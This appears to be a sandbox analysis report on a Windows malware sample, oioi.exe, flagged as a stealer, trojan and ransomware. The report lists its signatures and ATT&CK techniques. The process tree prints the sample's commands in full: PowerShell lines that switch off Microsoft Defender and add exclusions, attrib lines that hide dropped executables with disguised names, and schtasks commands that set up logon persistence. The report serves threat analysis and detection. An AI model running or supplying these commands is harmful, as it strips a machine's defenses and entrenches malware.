Overview

overview

10

Static

static

10

oioi.exe

windows10-2004-x64

10

oioi.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    94s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 17:59

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    oioi.exe
  • Size 15.9MB
  • Sample260705-wkpcvaat8p
  • SHA256 248556f6d6b0e6979972833957caec666d31af74985cbb14877fc6e7d1b74f87
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasionexecutionpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender notification settings 3 TTPs 3 IoCs
    defense_evasiontrojan
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 23 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 9 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

    defense_evasion
  • Loads dropped DLL 40 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 1 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 4 IoCs
    defense_evasion
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 55 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 4 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\oioi.exe
    "C:\Users\Admin\AppData\Local\Temp\oioi.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Users\Admin\AppData\Local\Temp\oioi.exe
      "C:\Users\Admin\AppData\Local\Temp\oioi.exe"
      2⤵
      • Modifies Windows Defender notification settings
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:3192
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5812
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2808
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5884
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2956
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5944
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2420
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5988
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:5100
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3992
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:4504
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5660
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:1936
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2576
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:5400
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1884
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables automatic submission of suspicious files to Microsoft by Windows Defender
          • Suspicious behavior: EnumeratesProcesses
          PID:5176
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -PUAProtection 0 -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2000
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -PUAProtection 0 -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4320
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6068
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:4564
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableCatchupFullScan $true -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4456
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableCatchupFullScan $true -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5116
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableCatchupQuickScan $true -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2088
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableCatchupQuickScan $true -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5720
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableEmailScanning $true -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1328
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableEmailScanning $true -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:556
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5652
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          PID:2148
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1888
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3920
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1092
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5524
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1812
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4288
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows' -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4500
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4708
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Google\Update' -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1308
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Google\Update' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1148
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'ServiceHost.exe' -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:476
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'ServiceHost.exe' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5776
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2912
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2188
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5656
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2448
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -Force""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4332
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4376
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Roaming\win_def_off.inf""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:5080
        • C:\Windows\system32\attrib.exe
          attrib +h "C:\Users\Admin\AppData\Roaming\win_def_off.inf"
          4⤵
          • Views/modifies file attributes
          PID:4156
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "attrib +h +s +r "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ServiceHost.exe""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:1624
        • C:\Windows\system32\attrib.exe
          attrib +h +s +r "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ServiceHost.exe"
          4⤵
          • Views/modifies file attributes
          PID:2288
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "attrib +h +s +r "C:\Users\Admin\AppData\Local\Google\Update\RuntimeBroker.exe""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:4972
        • C:\Windows\system32\attrib.exe
          attrib +h +s +r "C:\Users\Admin\AppData\Local\Google\Update\RuntimeBroker.exe"
          4⤵
          • Views/modifies file attributes
          PID:4468
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "attrib +h +s +r "C:\Users\Admin\AppData\Local\Temp\WinSecEnv\WindowsUpdate.exe""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:1044
        • C:\Windows\system32\attrib.exe
          attrib +h +s +r "C:\Users\Admin\AppData\Local\Temp\WinSecEnv\WindowsUpdate.exe"
          4⤵
          • Views/modifies file attributes
          PID:1316
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5772
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1116
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6132
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2440
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4636
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4728
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:596
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:920
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest"
        3⤵
          PID:3060
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3164
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest"
          3⤵
            PID:3420
            • C:\Windows\system32\schtasks.exe
              schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4304
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest"
            3⤵
              PID:3592
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest
                4⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2076
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest"
              3⤵
                PID:2256
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\oioi.exe" /sc onlogon /f /rl highest
                  4⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2852
          • C:\Windows\system32\sihost.exe
            sihost.exe
            1⤵
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:2468
            • C:\Windows\explorer.exe
              explorer.exe /LOADSAVEDWINDOWS
              2⤵
              • Boot or Logon Autostart Execution: Active Setup
              • Enumerates connected drives
              • Checks SCSI registry key(s)
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of SetWindowsHookEx
              PID:2812
          • C:\Windows\system32\DllHost.exe
            C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
            1⤵
              PID:4320
            • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
              "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
              1⤵
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              PID:4904
            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
              1⤵
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              PID:696

            Network

                  MITRE ATT&CK Enterprise v16

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Command and Scripting Interpreter

                  1
                  T1059

                  PowerShell

                  1
                  T1059.001

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Persistence

                  Boot or Logon Autostart Execution

                  2
                  T1547

                  Active Setup

                  1
                  T1547.014

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Create or Modify System Process

                  1
                  T1543

                  Windows Service

                  1
                  T1543.003

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Privilege Escalation

                  Boot or Logon Autostart Execution

                  2
                  T1547

                  Active Setup

                  1
                  T1547.014

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Create or Modify System Process

                  1
                  T1543

                  Windows Service

                  1
                  T1543.003

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Defense Evasion

                  Hide Artifacts

                  2
                  T1564

                  Hidden Files and Directories

                  2
                  T1564.001

                  Impair Defenses

                  4
                  T1562

                  Disable or Modify Tools

                  4
                  T1562.001

                  Modify Registry

                  5
                  T1112

                  Credential Access

                  Credentials from Password Stores

                  1
                  T1555

                  Credentials from Web Browsers

                  1
                  T1555.003

                  Unsecured Credentials

                  1
                  T1552

                  Credentials In Files

                  1
                  T1552.001

                  Discovery

                  Peripheral Device Discovery

                  2
                  T1120

                  Query Registry

                  3
                  T1012

                  System Information Discovery

                  2
                  T1082

                  Lateral Movement

                  Collection

                  Data from Local System

                  1
                  T1005

                  Command and Control

                  Web Service

                  1
                  T1102

                  Exfiltration

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  prep_Activatable Class_Hermes_perf.cache
                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                  • Size 599B
                  • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  VCRUNTIME140.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\VCRUNTIME140.dll
                  • Size 117KB
                  • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  VCRUNTIME140_1.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\VCRUNTIME140_1.dll
                  • Size 48KB
                  • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _asyncio.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\_asyncio.pyd
                  • Size 76KB
                  • SHA256 dc6db118862ab3298e55e0f7c44c2c0dae4af9e810d2578271280202d6aa098a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _bz2.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\_bz2.pyd
                  • Size 85KB
                  • SHA256 d28c3dd1c22bfb8a6e8a6a9c2359842b797d08e878ecb7805f60e86a45589d11
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _ctypes.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\_ctypes.pyd
                  • Size 139KB
                  • SHA256 25d9b0be550d428fecc697ca20450343a7c3ce77c9f5283e9aecfd188d609250
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _hashlib.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\_hashlib.pyd
                  • Size 67KB
                  • SHA256 36ce760b9fac53fe51755f30a68d86f5fde89bf1b66c65c19e04aa3afa404ac2
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _lzma.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\_lzma.pyd
                  • Size 157KB
                  • SHA256 5f7003f9f0256e36351ca2810b3485db28579b08e4d1d65f6f211fcd1136f395
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _overlapped.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\_overlapped.pyd
                  • Size 56KB
                  • SHA256 ac877f3da413c1523c07b6a0dd1f7e0d7ceb3e8590a5e9e20a78eb1bcb700793
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _queue.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\_queue.pyd
                  • Size 35KB
                  • SHA256 bb53357b4e91ac23ed4061f15ff3e5e91a5b3be1cbb0c6cf294521ae5b4efa1c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _socket.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\_socket.pyd
                  • Size 85KB
                  • SHA256 25ac83cac32ed0d67b2cc9672ce64cb53f0a29a75b14c276e901023ff43da5f9
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _ssl.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\_ssl.pyd
                  • Size 186KB
                  • SHA256 5c07572df2913618cfb851b608cb5f74d740fcce5c3f2e63dc0a2ba39ab35dad
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _uuid.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\_uuid.pyd
                  • Size 27KB
                  • SHA256 a09308efd309732e3745e70b4456235579c450cac32bed616dfb3913b56f6637
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _wmi.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\_wmi.pyd
                  • Size 39KB
                  • SHA256 0ab1fbcf18c95d70343012feb1aad61e1ba95aaed5b4a08e57fc5990e8a9a452
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _zstd.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\_zstd.pyd
                  • Size 491KB
                  • SHA256 262aea62a994920daf152a10bdc0ca83a8b1c0874e71db23734862431de182c6
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _http_parser.cp314-win_amd64.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\aiohttp\_http_parser.cp314-win_amd64.pyd
                  • Size 254KB
                  • SHA256 8b93038b433138de8e7ee651054cb7012a5041c0bbf88501ef1ba926dafca7f1
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _http_writer.cp314-win_amd64.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\aiohttp\_http_writer.cp314-win_amd64.pyd
                  • Size 45KB
